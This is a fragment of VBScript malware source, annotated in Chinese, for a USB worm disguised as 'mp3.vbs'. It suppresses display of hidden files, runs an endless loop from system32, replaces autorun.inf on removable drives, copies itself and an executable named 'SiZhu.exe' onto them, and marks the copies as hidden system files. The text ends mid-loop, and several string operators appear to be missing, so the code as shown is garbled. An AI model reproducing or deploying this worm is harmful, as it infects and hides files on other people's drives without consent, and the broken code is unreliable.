On error resume next
Dim fso,wshell,curfolder,curdristr,curdri
Set fso=createobject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
Set curfolder=fso.GetFolder(".")
curdristr=Left(WScript.ScriptFullName,3)
Set curdri=fso.GetDrive(curdristr)
reghid() '不显示隐藏文件
If WScript.ScriptFullName=fso.GetSpecialFolder(1)"\mp3.vbs" Then '如果在system32中
For i=1 To 2 Step 0
reghid()
For Each dri In fso.Drives
If dri.DriveType=1 And dri>"A:" And dri>"B:" Then
'autorun.inf文件夹改名
If fso.FolderExists(dri.Path"\autorun.inf") Then
fso.MoveFolder dri.Path"\autorun.inf",dri.Path"\Rubbish"
End If
'复制自身及exe文件到移动硬盘
If fso.FileExists(dri.Path"\mp3.vbs") And fso.FileExists(dri.Path"\autorun.inf") Then
Else
If fso.FileExists(dri.Path"\mp3.vbs") Then
fso.DeleteFile dri.Path"\mp3.vbs",True
ElseIf fso.FileExists(dri.Path"\autorun.inf") Then
fso.DeleteFile dri.Path"\autorun.inf",True
End if
fso.CopyFile WScript.ScriptFullName,dri.Path"\mp3.vbs",True
If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path"\SiZhu.exe") Then
fso.CopyFile ".\SiZhu.exe",dri.Path"\SiZhu.exe",True
End If
autoinf(dri.Path)
'给刚复制的文件加上隐藏属性
Set norkon=fso.GetFile(dri.Path"\mp3.vbs")
wshell.run "attrib +r +a +s +h "dri.Path"\mp3.vbs",0
Set norkon=Nothing